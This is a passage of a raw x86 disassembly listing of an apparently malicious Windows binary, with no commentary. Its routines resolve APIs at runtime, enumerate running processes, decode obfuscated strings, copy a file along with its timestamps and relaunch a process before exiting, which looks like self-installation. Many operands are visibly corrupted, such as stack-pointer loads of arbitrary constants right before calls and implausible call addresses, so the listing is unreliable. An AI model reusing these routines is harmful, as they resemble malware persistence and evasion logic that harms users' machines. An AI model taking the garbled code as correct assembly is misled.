mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_4011F9
mov al, 1
jmp short loc_40B6FA
; ---------------------------------------------------------------------------
loc_40B6F8: ; CODE XREF: _294ADE7B:0040B5C0j
; _294ADE7B:0040B617j ...
xor al, al
loc_40B6FA: ; CODE XREF: _294ADE7B:0040B56Dj
; _294ADE7B:0040B600j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B7D0 proc near ; CODE XREF: sub_401AF0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_402036
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_40B7D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B810 proc near ; CODE XREF: sub_4014ECj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401B54
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4013FC
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401221
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E74
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
sub_40B810 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B880 proc near ; CODE XREF: sub_4013FCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401F78
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401451
mov eax, esi
pop esi
retn 4
sub_40B880 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B8C0 proc near ; CODE XREF: sub_401B54j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401451
mov eax, esi
pop esi
retn 4
sub_40B8C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B8F0 proc near ; CODE XREF: sub_40182Fj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401B54
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B2C
pop esi
pop ecx
retn 4
sub_40B8F0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B930 proc near ; CODE XREF: sub_401AEBj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401B54
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4013FC
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401221
pop esi
add esp, 0Ch
retn
sub_40B930 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B980 proc near ; CODE XREF: sub_4014D3j
push esi
mov esi, ecx
call sub_401FAF
mov eax, esi
pop esi
retn
sub_40B980 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B9A0 proc near ; CODE XREF: sub_401E10j
mov eax, [ecx]
push eax
call sub_401780
add esp, 4
retn
sub_40B9A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B9C0 proc near ; CODE XREF: sub_4012FDj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401F78
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40B9C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B9F0 proc near ; CODE XREF: sub_401320j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401BC7
neg al
sbb eax, eax
inc eax
retn 4
sub_40B9F0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BA20 proc near ; CODE XREF: sub_401B2Cj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401618
mov edi, eax
push edi
call sub_401FB4
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_402036
push edi
mov ebx, eax
call sub_401FB4
push edi
mov [eax], ebx
call sub_401FB4
mov edi, [eax]
push edi
call sub_401FB4
mov ecx, [eax]
push ecx
call sub_401F78
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401780
add esp, 4
mov ecx, esi
push eax
call sub_401DD9
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401451
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_40BA20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BAC0 proc near ; CODE XREF: sub_401221j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401320
test al, al
jz short loc_40BB1A
loc_40BAD8: ; CODE XREF: sub_40BAC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401A91
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401069
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401320
test al, al
jnz short loc_40BAD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40BB1A: ; CODE XREF: sub_40BAC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40BAC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BB50 proc near ; CODE XREF: sub_402036j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4014F6
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_40BB65
mov edi, esi
loc_40BB65: ; CODE XREF: sub_40BB50+11j
push esi
call sub_401F78
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_40BB7A
mov edi, esi
loc_40BB7A: ; CODE XREF: sub_40BB50+26j
push esi
call sub_401FB4
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_40BB50 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BBA0 proc near ; CODE XREF: sub_401E74j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401EEC
retn 4
sub_40BBA0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BBC0 proc near ; CODE XREF: sub_401F78j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40BBC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BBE0 proc near ; CODE XREF: sub_401780j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40BBE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BC00 proc near ; CODE XREF: sub_401FAFj
mov eax, ecx
retn
sub_40BC00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BC20 proc near ; CODE XREF: sub_401451j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401055
mov eax, esi
pop esi
retn 4
sub_40BC20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BC50 proc near ; CODE XREF: sub_401BC7j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40BC50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BC80 proc near ; CODE XREF: sub_401069j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401A91
mov ecx, eax
call sub_401618
mov esi, eax
push esi
call sub_401F78
push esi
mov ebx, eax
call sub_401FB4
mov ecx, [eax]
push ecx
call sub_401F78
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401FB4
push esi
mov ebx, eax
call sub_401F78
mov eax, [eax]
push eax
call sub_401FB4
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401780
add esp, 1Ch
mov ecx, edi
push eax
call sub_4011F4
push esi
mov ecx, edi
call sub_401E74
mov eax, [edi+8]
mov edx, [esp+10h+arg_4]
dec eax
mov [edi+8], eax
mov eax, [esp+10h+arg_0]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
sub_40BC80 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD40 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40BD40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD60 proc near ; CODE XREF: sub_4014F6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401BF4
add esp, 8
retn 4
sub_40BD60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD90 proc near ; CODE XREF: sub_401EECj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_40BD90 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BDB0 proc near ; CODE XREF: sub_401DD9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40118B
add esp, 8
retn 8
sub_40BDB0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BDE0 proc near ; CODE XREF: sub_401055j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40BDE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE00 proc near ; CODE XREF: sub_401618j
mov eax, [ecx]
retn
sub_40BE00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE20 proc near ; CODE XREF: sub_401A91j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4012FD
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40BE20 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE50 proc near ; CODE XREF: sub_4011F4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_40BE50 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE70 proc near ; CODE XREF: sub_40118Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011A4
add esp, 8
test eax, eax
jz short locret_40BE8B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40BE8B: ; CODE XREF: sub_40BE70+11j
retn
sub_40BE70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BEC0 proc near ; CODE XREF: sub_401046j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 9B39Eh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4018DE
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_401726
lea ecx, [esi+19h]
push eax
push ecx
mov esp, 6626CEh
call sub_401523
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+58h+var_3C]
push 1
push edx
call sub_4018DE
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_401726
push eax
lea eax, [esi+47h]
push eax
mov esi, 0C5989Bh
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+5Ch+var_3C]
push 13h
push ecx
call sub_4018DE
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_401726
lea edx, [esi+75h]
push eax
push edx
mov ebx, 8C5989h
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+60h+var_24]
push eax
call sub_4018DE
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_401726
add esi, 0A3h
push eax
push esi
mov esp, 8A7166h
call sub_401523
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_4011F9
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_40BEC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40C070: ; CODE XREF: _294ADE7B:00401370j
sub esp, 104h
lea eax, [esp+0]
push 4D38B3h
push eax
push 0
call dword ptr ds:269C59h
push eax
call dword ptr ds:534E2Ch
mov eax, ds:dword_43FF08
test eax, eax
jz loc_40C193
mov ecx, ds:dword_43FF04
test ecx, ecx
jz loc_40C193
mov ecx, ds:dword_43FDD0
test ecx, ecx
jz loc_40C193
push 0
push 2
call eax
cmp eax, 0FFFFFFFFh
mov ds:dword_43FF00, eax
jz loc_40C193
push ebp
push 69A716h
push eax
xor ebp, ebp
mov ds:dword_43FDD8, 128h
call dword ptr ds:74D38Bh
test eax, eax
jz loc_40C17C
push ebx
mov ebx, [esp+110h]
push esi
mov esi, ds:dword_4B3ABC
push edi
loc_40C0FD: ; CODE XREF: _294ADE7B:0040C177j
mov ecx, 0C74D38h
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov ecx, offset dword_471D34
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push 2B8E9Ah
add edx, ecx
push edx
call esi
add esp, 0Ch
test eax, eax
jz short loc_40C163
mov ebx, 8AB8E9h
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push 4D5C74h
mov ecx, ebx
call sub_4015F5
push eax
call esi
add esp, 0Ch
test eax, eax
jnz short loc_40C164
loc_40C163: ; CODE XREF: _294ADE7B:0040C13Bj
inc ebp
loc_40C164: ; CODE XREF: _294ADE7B:0040C161j
mov eax, ds:dword_43FF00
push 26AE3Ah
push eax
call dword ptr ds:53571Dh
test eax, eax
jnz short loc_40C0FD
pop edi
pop esi
pop ebx
loc_40C17C: ; CODE XREF: _294ADE7B:0040C0E7j
mov ecx, ds:dword_43FF00
push ecx
call dword ptr ds:29AB8Eh
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40C193: ; CODE XREF: _294ADE7B:0040C096j
; _294ADE7B:0040C0A4j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40C1F0: ; CODE XREF: _294ADE7B:00401E3Dj
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 14D5C7h
push eax
call dword ptr ds:0A6AE3h
mov esp, 68A6AEh
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 345357h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, ds:dword_4B38B4
lea eax, [esp+38h]
push 80000000h
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C2B6
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
call dword ptr ds:1A29ABh
mov ebx, ds:dword_4B38C8
push esi
call ebx
mov ecx, [esp+12Ch]
push 0
push 4D14D5h
push 3
push 0
push 2
push 40000000h
push ecx
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C2B6
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
call dword ptr ds:268A6Ah
push esi
call ebx
loc_40C2B6: ; CODE XREF: _294ADE7B:0040C259j
; _294ADE7B:0040C29Bj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C310 proc near ; CODE XREF: sub_401A64j
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_174 = byte ptr -174h
var_16C = byte ptr -16Ch
var_15C = byte ptr -15Ch
var_12C = dword ptr -12Ch
var_110 = byte ptr -110h
var_FC = word ptr -0FCh
var_E8 = byte ptr -0E8h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push 134535h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_4013CF
push offset word_49A29A
push 24D14Dh
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401B40
push eax
call dword ptr ds:1268A6h
lea ecx, [esp+1A8h+var_16C]
call sub_401726
push eax
lea ecx, [esi+4]
call sub_401564
lea ecx, [esp+1A8h+var_184]
call sub_4013CF
mov ebp, 6049A2h
push 3824D1h
push 5C1268h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401B40
push eax
push 0
call dword ptr ds:6E0934h
push eax
call dword ptr ds:37049Ah
push 5B824Dh
call dword ptr ds:2DC126h
mov esi, eax
test esi, esi
jz short loc_40C401
mov edi, ds:dword_4B38A8
push 56E093h
push esi
call edi
push 6B7049h
push esi
mov ds:dword_43FF0C, eax
call edi
push 75B824h
push esi
mov ds:dword_43FF08, eax
call edi
push 7ADC12h
push esi
mov ds:dword_43FF04, eax
call edi
mov ds:dword_43FDD0, eax
mov eax, ds:dword_43FF0C
test eax, eax
jz short loc_40C401
push ebx
push 0
call eax
loc_40C401: ; CODE XREF: sub_40C310+A7j
; sub_40C310+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_401726
push eax
lea ecx, [esp+1B0h+var_184]
call sub_401F91
test eax, eax
jnz short loc_40C438
mov al, ds:byte_43FFF7
test al, al
jz short loc_40C438
mov ecx, esi
call sub_401726
push eax
call sub_40157D
add esp, 4
loc_40C438: ; CODE XREF: sub_40C310+10Dj
; sub_40C310+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4018DE
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+1A8h+var_19C]
mov byte ptr [esp+1A8h+var_4], bl
call sub_4011F9
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+1D4h+var_19C]
push 4
push ecx
call sub_4018DE
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 3
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+1A8h+var_19C]
mov byte ptr [esp+1A8h+var_4], bl
call sub_4011F9
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+1CCh+var_19C]
push 14h
push edx
call sub_4018DE
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 4
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+1A8h+var_19C]
mov byte ptr [esp+1A8h+var_4], bl
call sub_4011F9
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+1D4h+var_19C]
push 0Dh
push eax
call sub_4018DE
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 5
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+1A8h+var_19C]
mov byte ptr [esp+1A8h+var_4], bl
call sub_4011F9
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+1D4h+var_19C]
push 10h
push ecx
call sub_4018DE
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 6
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+1A8h+var_19C]
mov byte ptr [esp+1A8h+var_4], bl
call sub_4011F9
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+1D4h+var_19C]
push 0Dh
push edx
call sub_4018DE
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 7
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+1A8h+var_19C]
mov byte ptr [esp+1A8h+var_4], bl
call sub_4011F9
lea eax, [esp+1A8h+var_16C]
push 0
push eax
lea ecx, [esp+1B0h+var_184]
call sub_40174E
test eax, eax
jnz loc_40C730
push ebp
mov ecx, esi
call sub_401726
push eax
push 5Ch
lea ecx, [esp+1B4h+var_16C]
call sub_401726
push eax
lea ecx, [esp+1B8h+var_110]
push 7D6E09h
push ecx
call dword ptr ds:3EB704h
mov edi, ds:dword_4B38D0
add esp, 14h
call edi
lea edx, [esp+184h+var_E8]
push 0
push edx
lea ecx, [esp+18Ch+var_15C]
mov ebp, eax
call sub_4015F5
mov esi, ds:dword_4B38AC
push eax
call esi
test eax, eax
jnz short loc_40C69F
loc_40C66F: ; CODE XREF: sub_40C310+38Dj
call edi
sub eax, ebp
add eax, 4FADC1h
jnb short loc_40C69F
push 67D6E0h
call dword ptr ds:73EB70h
lea eax, [esp+184h+var_E8]
push 0
push eax
lea ecx, [esp+18Ch+var_15C]
call sub_4015F5
push eax
call esi
test eax, eax
jz short loc_40C66F
loc_40C69F: ; CODE XREF: sub_40C310+35Dj
; sub_40C310+368j
mov al, ds:byte_440653
pop ebp
test al, al
jz short loc_40C6E2
mov esi, ds:dword_4B3AB4
push 39F5B8h
lea ecx, [esp+184h+var_E8]
push 1CFADCh
push ecx
call esi
add esp, 0Ch
lea ecx, [esp+180h+var_15C]
push 4E7D6Eh
call sub_401726
lea edx, [esp+184h+var_E8]
push eax
push edx
call esi
add esp, 0Ch
loc_40C6E2: ; CODE XREF: sub_40C310+397j
mov ebx, 0CB39F5h
xor eax, eax
lea edi, [esp+180h+var_12C]
lea edx, [esp+180h+var_E8]
rep stosd
mov [esp+180h+var_FC], ax
lea eax, [esp+180h+var_174]
lea ecx, [esp+180h+var_12C]
push eax
push ecx
push 0
push 0
push 28h
push ebx
push 0
push 0
push edx
push 0
mov [esp+1A8h+var_12C], 44h
call dword ptr ds:6D9CFAh
test eax, eax
jz short loc_40C730
push 0
call dword ptr ds:76CE7Dh
loc_40C730: ; CODE XREF: sub_40C310+304j
; sub_40C310+416j
lea ecx, [esp+1A8h+var_184]
mov byte ptr [esp+1A8h+var_4], 0
call sub_4011F9
lea ecx, [esp+1A8h+var_16C]
mov [esp+1A8h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+1A8h+var_C]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 19Ch
retn 4
sub_40C310 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C8A0 proc near ; CODE XREF: sub_401172j
mov al, ds:byte_43FFF9
test al, al
jz short loc_40C8B4
push 7B673Eh
call dword ptr ds:7DB39Fh
loc_40C8B4: ; CODE XREF: sub_40C8A0+7j
mov al, 1
retn
sub_40C8A0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C8D0 proc near ; CODE XREF: sub_401D20j
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 7ED9CFh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 3F6CE7h
push eax
push 0
call dword ptr ds:5FB673h
push eax
call dword ptr ds:6FDB39h
lea ecx, [esp+6D4h+var_318]
push ecx
push 77ED9Ch
call dword ptr ds:3BF6CEh
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4018DE
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_401726
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push 5DFB67h
push ecx
call dword ptr ds:2EFDB3h
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_4011F9
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
